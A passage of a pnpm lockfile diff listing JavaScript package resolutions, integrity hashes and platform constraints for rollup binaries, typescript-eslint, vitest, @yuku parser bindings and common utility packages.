sha512-c0wdcekXtQvvn5Tsrk/+op/gUArrbWaFduBnTLP2l1cKLSQs4diMWjJw3m6A0DdzT8dAAX95KpkJ3qynCePbmw==} + cpu: [arm] + os: [android] + + '@rollup/rollup-android-arm64@4.62.3': + resolution: {integrity: sha512-3YjElDdWN+qXAFbJ/CzPV+0wspLqh54k/I6GfdYtEJRqg7buSgc1yPM3B+93j1M4neobtkATHZTmxK2AMVGfnA==} + cpu: [arm64] + os: [android] + + '@rollup/rollup-darwin-arm64@4.62.3': + resolution: {integrity: sha512-Pch2pFNOxxz1hTjypIdPyRTR6riiwRl84+VcN9djS680fw+Co1nAJINrdpqp7KV0NvyuU8ilZXZCjd7ykJl1GQ==} + cpu: [arm64] + os: [darwin] + + '@rollup/rollup-darwin-x64@4.62.3': + resolution: {integrity: sha512-LEuncFUHFiF8t4yZVZvvZA1wk0pjAscRnsrn1EfTEmN4HXotBi2YtcnLRyaK6UbuczW7xZS5ES+81Rdz8Z0T6g==} + cpu: [x64] + os: [darwin] + + '@rollup/rollup-freebsd-arm64@4.62.3': + resolution: {integrity: sha512-zvBUvsQUpOWALdDsk6qbS8bXf2VxmPisuudNDrY7x0p0jBdsoZl8HsHczIOgkQiZldmcacMKtBzpoGVNeIe2bQ==} + cpu: [arm64] + os: [freebsd] + + '@rollup/rollup-freebsd-x64@4.62.3': + resolution: {integrity: sha512-C2KmNrcSem/AMg984H/dev+si0lieQGdXdR/lYGJnuumXnFb9Y7QdiI62obFdLlxRYLBv4P0eUVIDbD4c1vVvw==} + cpu: [x64] + os: [freebsd] + + '@rollup/rollup-linux-arm-gnueabihf@4.62.3': + resolution: {integrity: sha512-ggXnsTAEzNQx74XpunRsiZ9aBZDsI7XIa0hm2nzR9f4WzH5/f/d73ZSDaC5ejJ8YLY4NW+V3wr0tjOaeCq8hqA==} + cpu: [arm] + os: [linux] + libc: [glibc] + + '@rollup/rollup-linux-arm-musleabihf@4.62.3': + resolution: {integrity: sha512-2vng+FlzNUhKZxtej3IUqJgbZoQk2M/dwQM20+ULV0R/E/8tr9/P6uEf2iiGIk4HL0zMKh5Jry7mUHdUOvyGgA==} + cpu: [arm] + os: [linux] + libc: [musl] + + '@rollup/rollup-linux-arm64-gnu@4.62.3': + resolution: {integrity: sha512-LLLFZKt4/Nraf9rxDkhiU8QVgLF4WmCkfr0L4fj0fPfIZFBib0DeiFk1hhaYKd03LFAFJcxHslhDFlNJLylf5Q==} + cpu: [arm64] + os: [linux] + libc: [glibc] + + '@rollup/rollup-linux-arm64-musl@4.62.3': + resolution: {integrity: sha512-WJkdQCvS9sWNOUBJZfQRKpZGFBztRzcowI+nndmflKgU4XY+3a420FgTOSKTsVqJbnzSxeT4vaJalpOaPo2YCQ==} + cpu: [arm64] + os: [linux] + libc: [musl] + + '@rollup/rollup-linux-loong64-gnu@4.62.3': + resolution: {integrity: sha512-PwHXCCS2n64/1Ot6rP1YEYA02MGYBcQlr8CSZZyrUG2O7NH6NklYmvr9v3Jy+5e/eDeNchc/ukmKJi9LuflMIQ==} + cpu: [loong64] + os: [linux] + libc: [glibc] + + '@rollup/rollup-linux-loong64-musl@4.62.3': + resolution: {integrity: sha512-vUjxINQu3RC8NZS3ykk1gN65gIz8pAopOq2HXuZhiIxHdx7TFvDG+jgrdSgInu1Eza4/Rfi2VzZgyIgEH4WOaw==} + cpu: [loong64] + os: [linux] + libc: [musl] + + '@rollup/rollup-linux-ppc64-gnu@4.62.3': + resolution: {integrity: sha512-wzko4aJ13+0G3kGnviCg5gnXFKd40izKsrf2uOw12US4XqprkDrmwOpeW14aSNa37V8bfPcz5Fkob6LZ3BAPmA==} + cpu: [ppc64] + os: [linux] + libc: [glibc] + + '@rollup/rollup-linux-ppc64-musl@4.62.3': + resolution: {integrity: sha512-8120ue0JUMSwy11stlwnfdX3pPd+WZYGCDBwEHWtIHi6pOpZmsEF5QKB7a/UN+XFdqvobxz98kv8RTqikyCEBw==} + cpu: [ppc64] + os: [linux] + libc: [musl] + + '@rollup/rollup-linux-riscv64-gnu@4.62.3': + resolution: {integrity: sha512-XLFHnR3tXMjbOCh2vtVJHmxt+995uJsTERQyseFDRA0xxMxyTZPLa3OIUlyFaO4mF/Lu0FjmWHCuPXJT1n/IOg==} + cpu: [riscv64] + os: [linux] + libc: [glibc] + + '@rollup/rollup-linux-riscv64-musl@4.62.3': + resolution: {integrity: sha512-se6yXvNGMIl0f+RQzyh7XAmia8/9kplQx424wnG2w0C1oi6XgO6Y8otKhdXFHbHs88Ihavzmvh1NWjuovE76BQ==} + cpu: [riscv64] + os: [linux] + libc: [musl] + + '@rollup/rollup-linux-s390x-gnu@4.62.3': + resolution: {integrity: sha512-gNoxRefktVIiGflpONuxWWXZAzIQG++z9qHO3xKwk4WdDMuQja3JHGfE1u0i3PfPDyvhypdk+WrgIJqLhGG7sg==} + cpu: [s390x] + os: [linux] + libc: [glibc] + + '@rollup/rollup-linux-x64-gnu@4.62.3': + resolution: {integrity: sha512-V4KtWtQfAFMU7+9/A/VDps/VI8CHd3cYz0L8sgJzz8qK7eY7wI4ruFD82UYIYvW9Z4DtlTfhQcsl4XyPHW5uSg==} + cpu: [x64] + os: [linux] + libc: [glibc] + + '@rollup/rollup-linux-x64-musl@4.62.3': + resolution: {integrity: sha512-LBx9LYXvj2CBkMkjLdNAWLwH0MLMin7do2VcVo9kVPibGLkY0BQQut2fv7NVqkXqZ/CrAu9LqDHVV1xHCMpCPw==} + cpu: [x64] + os: [linux] + libc: [musl] + + '@rollup/rollup-openbsd-x64@4.62.3': + resolution: {integrity: sha512-ABVf3Q0RCu7NcyCCOZQI0pJ3GuSdfSl8EXcy88QtdceIMIoCUdfhsJChZ64L9zVM2aJHjde1Bhn5uqSRcX9ySA==} + cpu: [x64] + os: [openbsd] + + '@rollup/rollup-openharmony-arm64@4.62.3': + resolution: {integrity: sha512-+2Cy/ldweGBLlPIKsQLF8U5N44a0KDdbrk1rAjHOM9M2K+kGdIVjHLmmrZIcx+9Ny3ke/1JomCsDI1ocb11+sg==} + cpu: [arm64] + os: [openharmony] + + '@rollup/rollup-win32-arm64-msvc@4.62.3': + resolution: {integrity: sha512-dtZvzc8BedpSaFNy75x6uiWwAGTH+aZHDtdrqP6qk+WcLJrfti6sGje1ZJ9UxyzDLF23d/mV+PaMwuC0hL7UVA==} + cpu: [arm64] + os: [win32] + + '@rollup/rollup-win32-ia32-msvc@4.62.3': + resolution: {integrity: sha512-Rj8Ra4noo+aYy7sKBggCx0407mws34kAb1ySyWuq5DAtFBQdkSwnsjCgPrhPe9cvgBKZIukpE+CVHvORCS93kQ==} + cpu: [ia32] + os: [win32] + + '@rollup/rollup-win32-x64-gnu@4.62.3': + resolution: {integrity: sha512-vp7N084ew/odXn2gi/mzm9mUkQu9l6AiN6dt4IeUM2Uvm9o+cVmP+YkqbMOteLbiGgqBBlJZjIMYVCfOOIVbVQ==} + cpu: [x64] + os: [win32] + + '@rollup/rollup-win32-x64-msvc@4.62.3': + resolution: {integrity: sha512-MOG/3gTOn4Fwf574RVOaY61I5o6P90legkFADiTyn1hyjNydT+cerU2rLUwPdZkKKyJ+iT+K9p7WXK4LM1Ka6g==} + cpu: [x64] + os: [win32] + + '@standard-schema/spec@1.1.0': + resolution: {integrity: sha512-l2aFy5jALhniG5HgqrD6jXLi/rUWrKvqN/qJx6yoJsgKhblVd+iqqU4RCXavm/jPityDo5TCvKMnpjKnOriy0w==} + + '@stylistic/eslint-plugin@5.10.0': + resolution: {integrity: sha512-nPK52ZHvot8Ju/0A4ucSX1dcPV2/1clx0kLcH5wDmrE4naKso7TUC/voUyU1O9OTKTrR6MYip6LP0ogEMQ9jPQ==} + engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} + peerDependencies: + eslint: ^9.0.0 || ^10.0.0 + + '@types/chai@5.2.3': + resolution: {integrity: sha512-Mw558oeA9fFbv65/y4mHtXDs9bPnFMZAL/jxdPFUpOHHIXX91mcgEHbS5Lahr+pwZFR8A7GQleRWeI6cGFC2UA==} + + '@types/deep-eql@4.0.2': + resolution: {integrity: sha512-c9h9dVVMigMPc4bwTvC5dxqtqJZwQPePsWjPlpSOnojbor6pGqdk541lfA7AqFQr5pB1BRdq0juY9db81BwyFw==} + + '@types/esrecurse@4.3.1': + resolution: {integrity: sha512-xJBAbDifo5hpffDBuHl0Y8ywswbiAp/Wi7Y/GtAgSlZyIABppyurxVueOPE8LUQOxdlgi6Zqce7uoEpqNTeiUw==} + + '@types/estree@1.0.9': + resolution: {integrity: sha512-GhdPgy1el4/ImP05X05Uw4cw2/M93BCUmnEvWZNStlCzEKME4Fkk+YpoA5OiHNQmoS7Cafb8Xa3Pya8m1Qrzeg==} + + '@types/json-schema@7.0.15': + resolution: {integrity: sha512-5+fP8P8MFNC+AyZCDxrB2pkZFPGzqQWUzpSeuuVLvm8VMcorNYavBqoFcxK8bQz4Qsbn4oUEEem4wDLfcysGHA==} + + '@types/node@12.20.55': + resolution: {integrity: sha512-J8xLz7q2OFulZ2cyGTLE1TbbZcjpno7FaN6zdJNrgAdrJ+DZzh/uFR6YrTb4C+nXakvud8Q4+rbhoIWlYQbUFQ==} + + '@types/node@20.19.43': + resolution: {integrity: sha512-6oYBAi5ikg4Pl+kGsoYtawUMBT2zZMCvPNF7pVLnHZfd1zf38DRiWn/gT01RYCdUqkv7Fhr+C9ot4/tb+2sVvA==} + + '@types/semver@7.8.0': + resolution: {integrity: sha512-1mAINjtQCXXeLkJ9ehXkwOcBpqtLxiVtKhpUf83DdRNdQKV0iXZpaHYqRr7nj+wvxuJzoAmAwXI+sCNMv1CzLQ==} + + '@typescript-eslint/eslint-plugin@8.65.0': + resolution: {integrity: sha512-IEgob78X12rHpUmtcwFsXhZdVGJtwTVP8FiCLZkR6GlYVrl2PcuB+KhCE5BlVC/eQpQnu8WXRtkHZuPar+gCRA==} + engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} + peerDependencies: + '@typescript-eslint/parser': ^8.65.0 + eslint: ^8.57.0 || ^9.0.0 || ^10.0.0 + typescript: '>=4.8.4 <6.1.0' + + '@typescript-eslint/parser@8.65.0': + resolution: {integrity: sha512-CZ4nMxWwgu1HEEFNkeaCptra9QCtkmKdgf3sWh1rl1trIhmxLilgTV4cwcbQ4wemnT4sWQN8CaKOmdYx+g2gMA==} + engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} + peerDependencies: + eslint: ^8.57.0 || ^9.0.0 || ^10.0.0 + typescript: '>=4.8.4 <6.1.0' + + '@typescript-eslint/project-service@8.65.0': + resolution: {integrity: sha512-SxnPhbTsGahizDgbu7oqFH/xVtzIqMd/s+WtnSxNxJZJpLbdT5IPdzg8EZxO3+PoKahXmwJLeNQOpKJb3/bi7Q==} + engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} + peerDependencies: + typescript: '>=4.8.4 <6.1.0' + + '@typescript-eslint/scope-manager@8.65.0': + resolution: {integrity: sha512-Esbl8OSYiVxBokYgWPf7VVWg/BE798wXhimnn9ML9Pt5qoDf8bfQlgjlKXR/k98+AcNzlLKYrpCcrcuZ9DZLgg==} + engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} + + '@typescript-eslint/tsconfig-utils@8.65.0': + resolution: {integrity: sha512-j6GzGqCiRdA7Qhur2VVmKZAkBLfnHFQfx4TaJGL9RMveZqCo48jSHHO0DTgizEnGhtWnqmbtCUSrqSkdiY/0Hg==} + engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} + peerDependencies: + typescript: '>=4.8.4 <6.1.0' + + '@typescript-eslint/type-utils@8.65.0': + resolution: {integrity: sha512-YjaZ7PRI5qY7ax2L3PbvX0rRyGtipAReCWs0mhhDBHjH/vl0g0BonaGXrKdKpMbIIsMIwDgbk/xzkBTyAltS5g==} + engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} + peerDependencies: + eslint: ^8.57.0 || ^9.0.0 || ^10.0.0 + typescript: '>=4.8.4 <6.1.0' + + '@typescript-eslint/types@8.65.0': + resolution: {integrity: sha512-JSSwWNy+H0E/01jJEM+hrX6N0OFDzFzeIhHFSAS01tlVaevpG8cFyYRPhS5yjGOvBUx3sqQHVMjCL1CAZZMxBg==} + engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} + + '@typescript-eslint/typescript-estree@8.65.0': + resolution: {integrity: sha512-JboAE2swaYt4tb1fHhHTABE2K+OLy09XfcTbhnk4Pw96f9dd2e9iYsJ28gBggHlo5z5x1rkyWvcPoTuNTd4oGg==} + engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} + peerDependencies: + typescript: '>=4.8.4 <6.1.0' + + '@typescript-eslint/utils@8.65.0': + resolution: {integrity: sha512-gXiwIHsYreboxeJucHKPvgwl7dXt50mF8s1/c00cP/WoVTyWKFdtfhRWwZiXYFU5H2O8vVoSLNrexFZjYS/SGA==} + engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} + peerDependencies: + eslint: ^8.57.0 || ^9.0.0 || ^10.0.0 + typescript: '>=4.8.4 <6.1.0' + + '@typescript-eslint/visitor-keys@8.65.0': + resolution: {integrity: sha512-8C71BQkGjiMmXtop7pHVJu1l2NNShFdkCyD6a2ezzs5vU/L3LRtb69EtcteFwz0mYMPzIgOw0n6OV4VBUWZd7A==} + engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} + + '@vitest/expect@4.1.10': + resolution: {integrity: sha512-YsCn+qAk1GWjQOWFEsEcL2gNQ0zmVmQu3T03qP6UyjhtmdtwtbuI+DASn/7iQB3HGTXkdBwGddzxPlmiql5vlA==} + + '@vitest/mocker@4.1.10': + resolution: {integrity: sha512-v0xaezt+DKEmKfaxg133ldzADrwLGd7Ze1MfQQTYfvs8OqZIwbxyxaYURivwV7sWy5fqn3rH5uOrSp07bp44Ow==} + peerDependencies: + msw: ^2.4.9 + vite: ^6.0.0 || ^7.0.0 || ^8.0.0 + peerDependenciesMeta: + msw: + optional: true + vite: + optional: true + + '@vitest/pretty-format@4.1.10': + resolution: {integrity: sha512-W1HsjSH4MXQ9YfmmhLAoIYf1HRfekQCGngeIgcei6MP5QQGWUe0gkopdZQaVCFO+JDJMrAJGwa5pRpNpvy4P8Q==} + + '@vitest/runner@4.1.10': + resolution: {integrity: sha512-IKI6kpIH+LmpROplyLwBBaCfMgOZOMsygVa6BARD6ahA04VRuJSa6OaVG7kRvSEMD870Vd91rSSw0eegtWyLGg==} + + '@vitest/snapshot@4.1.10': + resolution: {integrity: sha512-xRkfOT1qpTAi/Ti4Y1LtfRc3kEuqxGw59eN2jN9pRWMtS/XDevekhcFSqvQqjUNGksfjMJu3Y+oJ+4Ypn2OaJw==} + + '@vitest/spy@4.1.10': + resolution: {integrity: sha512-PLf/Ugvoq5wO/b4rwYCR1h2PSIdXz7wnkQFMiUpLdtM7l6pqVFcQIBEHyT1+l+cj7mNwAfZHzqXqDyjvOuwbDw==} + + '@vitest/utils@4.1.10': + resolution: {integrity: sha512-fy9am/HWxbaGt/Sawrp90vt6Y6jQwf1RX77cz3uwoJwJVMli/e1IEwRPnMNJ7vKfPTwo0diXifkpPvwH9v7nGA==} + + '@yuku-codegen/binding-android-arm64@0.8.3': + resolution: {integrity: sha512-/EKnnqwvN7xYoVDhQEIEJTdPDwGW1wkFz/2Eku3ES/IJd4lcQh/OaIDFBmoJKvpe12enrb1TIoYh1fxasGXolA==} + cpu: [arm64] + os: [android] + + '@yuku-codegen/binding-darwin-arm64@0.8.3': + resolution: {integrity: sha512-DFAOliF5YIPv3ayNHGOJhIun6Af4kMaL/YXxf8ZtD1qrOIMFnX/AQBhwfvLalhwmmxuGA8AUteaKRHBvdKZFVA==} + cpu: [arm64] + os: [darwin] + + '@yuku-codegen/binding-darwin-x64@0.8.3': + resolution: {integrity: sha512-WlMh4/oEibaTzE9j5Zq8qnsrH4Ii4kWdcDv/Pj2Rb/MYSrKghtg+bxbWpPe/6zJD21p9zZBApQUxl8ECpZOJuQ==} + cpu: [x64] + os: [darwin] + + '@yuku-codegen/binding-freebsd-x64@0.8.3': + resolution: {integrity: sha512-hoDOpPP0FTxPSD+6w0Gs4p8iL1yXe6jjIXcdzNxyT1KE6B3JI6O0gTIWQISJ+8QyNpNjIwBb7nHCdRavktJM6A==} + cpu: [x64] + os: [freebsd] + + '@yuku-codegen/binding-linux-arm-gnu@0.8.3': + resolution: {integrity: sha512-nNW0GGMJyF04pK4A7Kq7WAYtUWU9uI5ugDAoXl9yHpd3IIZ8UI+zFlM01e+ZGWnQcdxYYLumeRe/EjzZT9bVfQ==} + cpu: [arm] + os: [linux] + libc: [glibc] + + '@yuku-codegen/binding-linux-arm-musl@0.8.3': + resolution: {integrity: sha512-/jpxKhO8AV5TmXgT3R2Gv3YctKRUhyDzd5bQw8TiJ3O4z7qerHzoW2kE40fPAO3L434/IZtZbdhr8HuOqiwECA==} + cpu: [arm] + os: [linux] + libc: [musl] + + '@yuku-codegen/binding-linux-arm64-gnu@0.8.3': + resolution: {integrity: sha512-CYhLJfnCknabfLvUjsanxC5s3BBtZHUwfzdDL7GcqShIRQh2qqgG7pPfFrFJ6Jp56kkjKXkfluFGn9nnIv0nZg==} + cpu: [arm64] + os: [linux] + libc: [glibc] + + '@yuku-codegen/binding-linux-arm64-musl@0.8.3': + resolution: {integrity: sha512-c6gEdnI0MgA7/rVw6CACMciSbAcxVwLyD/jSBbMLWUeqqbysCNGrGPAHdpSaadpz3W1bd+OdXt9XWjfm66708w==} + cpu: [arm64] + os: [linux] + libc: [musl] + + '@yuku-codegen/binding-linux-x64-gnu@0.8.3': + resolution: {integrity: sha512-CRVZ9Rw5lIah/PpWeShWv7XiUCMY15N6rZRA2sEZrQvc5Az7Dv9/wsDMa6oBMkfQLXuDkFo4G1QOYyWbebjejg==} + cpu: [x64] + os: [linux] + libc: [glibc] + + '@yuku-codegen/binding-linux-x64-musl@0.8.3': + resolution: {integrity: sha512-G12Nhecjmv7OlbCX6Y4HU4wYYePd111kTE+yTjbitnt+P3m8bNegtYG4ZGo4scGTq8cKsLF4xcda1XNzCUA6nQ==} + cpu: [x64] + os: [linux] + libc: [musl] + + '@yuku-codegen/binding-win32-arm64@0.8.3': + resolution: {integrity: sha512-i8bpXWaMlik9DvFl+89emEx3RZFtSd21Vlt0UrnPvUC7h8NGElP2SwQcdcG+pPmihFIYJAoIuJLw7YdQcFcDkA==} + cpu: [arm64] + os: [win32] + + '@yuku-codegen/binding-win32-x64@0.8.3': + resolution: {integrity: sha512-vlYymeTSsx+qxZoNvdl6KehgYDaQC4Sk/9KUnM3V2mriyCwSdhW7lqdpQGl+RLGsDTxyuRGjzGIjgRWk3lohmA==} + cpu: [x64] + os: [win32] + + '@yuku-parser/binding-android-arm64@0.8.3': + resolution: {integrity: sha512-vySYRsMeul9ssvxeHdxgS9ZUIcq7gqljWNqgokjJE0uQWvVvOprihJ6hOsiifVqWsla0BMc3vAFBvNS9QqCw7g==} + cpu: [arm64] + os: [android] + + '@yuku-parser/binding-darwin-arm64@0.8.3': + resolution: {integrity: sha512-+wpB/wqhiZ685Y77I+lj6v9pHSAJ3Y+QMHJmvch0Q0ahIMbNwtKk3s54MhtjCMKO1qpjPbyN/PjuHDg2hbKaVQ==} + cpu: [arm64] + os: [darwin] + + '@yuku-parser/binding-darwin-x64@0.8.3': + resolution: {integrity: sha512-jKqiWejj4zVy7pPtEGu4/Ty+pG1h7ooQOXIkm7shKZTSwTU9X8X+eoH11uIeKHZi2SQWV0GhNz0J56eerseysQ==} + cpu: [x64] + os: [darwin] + + '@yuku-parser/binding-freebsd-x64@0.8.3': + resolution: {integrity: sha512-FC7zSwzFzd4z9bsId07CiHLR+Iw6yW/LzIQhL5AUtPUuVXLgEyx0rilgbRUYkl1CT3GJcLpkh63WuPZUSgCDzw==} + cpu: [x64] + os: [freebsd] + + '@yuku-parser/binding-linux-arm-gnu@0.8.3': + resolution: {integrity: sha512-So61j88b9/ygDnUPlWCm1EUPw4HSxAyDjrNHKgud5N3aRDQ3kw94nW7TriXbo7GBXID9oBHCMNm1r1Fof/Df5Q==} + cpu: [arm] + os: [linux] + libc: [glibc] + + '@yuku-parser/binding-linux-arm-musl@0.8.3': + resolution: {integrity: sha512-Nmnn20yJvSSKL8ZdtqReBRSGCDkSMqR5jEk/Sk/cdIdZmqVD49Z6M7w2GbMjdrxMI1MBPbsWFMMWxa93cd5t5g==} + cpu: [arm] + os: [linux] + libc: [musl] + + '@yuku-parser/binding-linux-arm64-gnu@0.8.3': + resolution: {integrity: sha512-Lfgw7AXJ0rxu6BMPGgfc8HLJWEIr8BHhCzcQp/75k+NM90uCLkHlBNqIg/K42KlSvBgAvu9euOvjdswib+4qJA==} + cpu: [arm64] + os: [linux] + libc: [glibc] + + '@yuku-parser/binding-linux-arm64-musl@0.8.3': + resolution: {integrity: sha512-cfRyu87xsJ0tFkHNsnMC4Rq6+xsFJ6i2dc4VAH52d2qLvykEJU/Mdi3ul1O2PyOApX/LoLT3uQZ0fWs3D5XE4w==} + cpu: [arm64] + os: [linux] + libc: [musl] + + '@yuku-parser/binding-linux-x64-gnu@0.8.3': + resolution: {integrity: sha512-GcQQCUuYxbm6P1n+io/A50rvWKDeWHutIp6rW0ycDOZuEQjOb8hDVgS88+NDyOnd9FfS0/Z6GXopcRFDyKpzOg==} + cpu: [x64] + os: [linux] + libc: [glibc] + + '@yuku-parser/binding-linux-x64-musl@0.8.3': + resolution: {integrity: sha512-rMkImBGZzg7GZlj8krYtdiezyjYI4igjKWMut5T65jHyNWFigMQrEpn9mDIBflloW9FKhGE3mN6yTZ/N+4HRwg==} + cpu: [x64] + os: [linux] + libc: [musl] + + '@yuku-parser/binding-win32-arm64@0.8.3': + resolution: {integrity: sha512-/2Pl2cAzCXWxah8FqJapEj/ikpt9cEutEZFCa0hnbfrshkn5+C+aBM3ZDq62d1jsgQjBMmqr5HVhJUA4OAG/Tg==} + cpu: [arm64] + os: [win32] + + '@yuku-parser/binding-win32-x64@0.8.3': + resolution: {integrity: sha512-Ntnvjoan9jnfLhn7Kn3h8j/bhsbVdQSVmKUqFULKtmwImLCJVHOJbLL4qbEJyrOQ7r/FBL1/c/dRvx/AQWzzXg==} + cpu: [x64] + os: [win32] + + '@yuku-toolchain/types@0.8.3': + resolution: {integrity: sha512-9LN3HYs3A9qSPVFunsxlbfwBcUgexti3TmhOzIxB/UH8zFuaHQJXTRDcN17DW6cp1GsyZtiZA7f18uIra36Jag==} + + acorn-jsx@5.3.2: + resolution: {integrity: sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ==} + peerDependencies: + acorn: ^6.0.0 || ^7.0.0 || ^8.0.0 + + acorn@8.18.0: + resolution: {integrity: sha512-lGq+9yr1/GuAWaVYIHRjvvySG5/4VfKIvC8EWxStPdcDh/Ka7FG3twP6v4d5BkravUilhIAsG4Qj83t02LWUPQ==} + engines: {node: '>=0.4.0'} + hasBin: true + + ajv@6.15.0: + resolution: {integrity: sha512-fgFx7Hfoq60ytK2c7DhnF8jIvzYgOMxfugjLOSMHjLIPgenqa7S7oaagATUq99mV6IYvN2tRmC0wnTYX6iPbMw==} + + ansi-colors@4.1.3: + resolution: {integrity: sha512-/6w/C21Pm1A7aZitlI5Ni/2J6FFQN8i1Cvz3kHABAAbw93v/NlvKdVOqz7CCWz/3iv/JplRSEEZ83XION15ovw==} + engines: {node: '>=6'} + + ansi-regex@5.0.1: + resolution: {integrity: sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==} + engines: {node: '>=8'} + + ansi-styles@4.3.0: + resolution: {integrity: sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==} + engines: {node: '>=8'} + + ansis@4.3.1: + resolution: {integrity: sha512-BJ8/l4R5LRE7hW9WdSuGYrLSHi2ynxeFpDFbH0K/CgNeY/tyhk+vO6TYxXC5r5CpUhNVX310xzPsN/H9lCdfOA==} + engines: {node: '>=14'} + + argparse@1.0.10: + resolution: {integrity: sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==} + + argparse@2.0.1: + resolution: {integrity: sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==} + + array-union@2.1.0: + resolution: {integrity: sha512-HGyxoOTYUyCM6stUe6EJgnd4EoewAI7zMdfqO+kGjnlZmBDz/cR5pf8r/cR4Wq60sL/p0IkcjUEEPwS3GFrIyw==} + engines: {node: '>=8'} + + assertion-error@2.0.1: + resolution: {integrity: sha512-Izi8RQcffqCeNVgFigKli1ssklIbpHnCYc6AknXGYoB6grJqyeby7jv12JUQgmTAnIDnbck1uxksT4dzN3PWBA==} + engines: {node: '>=12'} + + balanced-match@4.0.4: + resolution: {integrity: sha512-BLrgEcRTwX2o6gGxGOCNyMvGSp35YofuYzw9h1IMTRmKqttAZZVU67bdb9Pr2vUHA8+j3i2tJfjO6C6+4myGTA==} + engines: {node: 18 || 20 || >=22} + + base64-js@1.5.1: + resolution: {integrity: sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==} + + better-path-resolve@1.0.0: + resolution: {integrity: sha512-pbnl5XzGBdrFU/wT4jqmJVPn2B6UHPBOhzMQkY/SPUPB6QtUXtmBHBIwCbXJol93mOpGMnQyP/+BB19q04xj7g==} + engines: {node: '>=4'} + + bl@4.1.0: + resolution: {integrity: sha512-1W07cM9gS6DcLperZfFSj+bWLtaPGSOHWhPiGzXmvVJbRLdG82sH/Kn8EtW1VqWVA54AKf2h5k5BbnIbwF3h6w==} + + brace-expansion@5.0.9: + resolution: {integrity: sha512-ScQ4IuvIEF1TMlP7Zt+vjJ//9zlPb2SDcxWxM3bk8s6t6GGdJ7KO1dCcTidOPJKePW30LE/2cT7wCyPho9/Wxg==} + engines: {node: 20 || >=22} + + braces@3.0.3: + resolution: {integrity: sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA==} + engines: {node: '>=8'} + + buffer@5.7.1: + resolution: {integrity: sha512-EHcyIPBQ4BSGlvjB16k5KgAJ27CIsHY/2JBmCRReo48y9rQ3MaUzWX3KVlBa4U7MyX02HdVj0K7C3WaB3ju7FQ==} + + cac@7.0.0: + resolution: {integrity: sha512-tixWYgm5ZoOD+3g6UTea91eow5z6AAHaho3g0V9CNSNb45gM8SmflpAc+GRd1InC4AqN/07Unrgp56Y94N9hJQ==} + engines: {node: '>=20.19.0'} + + chai@6.2.2: + resolution: {integrity: sha512-NUPRluOfOiTKBKvWPtSD4PhFvWCqOi0BGStNWs57X9js7XGTprSmFoz5F0tWhR4WPjNeR9jXqdC7/UpSJTnlRg==} + engines: {node: '>=18'} + + chalk@4.1.2: + resolution: {integrity: sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==} + engines: {node: '>=10'} + + chalk@5.6.2: + resolution: {integrity: sha512-7NzBL0rN6fMUW+f7A6Io4h40qQlG+xGmtMxfbnH/K7TAtt8JQWVQK+6g0UXKMeVJoyV5EkkNsErQ8pVD3bLHbA==} + engines: {node: ^12.17.0 || ^14.13 || >=16.0.0} + + chardet@2.2.0: + resolution: {integrity: sha512-rddelWYNPRrXq6PtNEN2S3f6t9ILzvqaN5pVgi4kqt9jHQaXIial9PznB5iSPVlQSLNaaH22ItWz3EJtQ10+OA==} + + chokidar@5.0.0: + resolution: {integrity: sha512-TQMmc3w+5AxjpL8iIiwebF73dRDF4fBIieAqGn9RGCWaEVwQ6Fb2cGe31Yns0RRIzii5goJ1Y7xbMwo1TxMplw==} + engines: {node: '>= 20.19.0'} + + cjs-module-lexer@1.4.3: + resolution: {integrity: sha512-9z8TZaGM1pfswYeXrUpzPrkx8UnWYdhJclsiYMm6x/w5+nN+8Tf/LnAgfLGQCm59qAOxU8WwHEq2vNwF6i4j+Q==} + + cli-cursor@3.1.0: + resolution: {integrity: sha512-I/zHAwsKf9FqGoXM4WWRACob9+SNukZTd94DWF57E4toouRulbCxcUh6RKUEOQlYTHJnzkPMySvPNaaSLNfLZw==} + engines: {node: '>=8'} + + cli-spinners@2.9.2: + resolution: {integrity: sha512-ywqV+5MmyL4E7ybXgKys4DugZbX0FC6LnwrhjuykIjnK9k8OQacQ7axGKnjDXWNhns0xot3bZI5h55H8yo9cJg==} + engines: {node: '>=6'} + + cli-width@4.1.0: + resolution: {integrity: sha512-ouuZd4/dm2Sw5Gmqy6bGyNNNe1qt9RpmxveLSO7KcgsTnU7RXfsw+/bukWGo1abgBiMAic068rclZsO4IWmmxQ==} + engines: {node: '>= 12'} + + clone@1.0.4: + resolution: {integrity: sha512-JQHZ2QMW6l3aH/j6xCqQThY/9OH4D/9ls34cgkUBiEeocRTU04tHfKPBsUK1PqZCUQM7GiA0IIXJSuXHI64Kbg==} + engines: {node: '>=0.8'} + + color-convert@2.0.1: + resolution: {integrity: 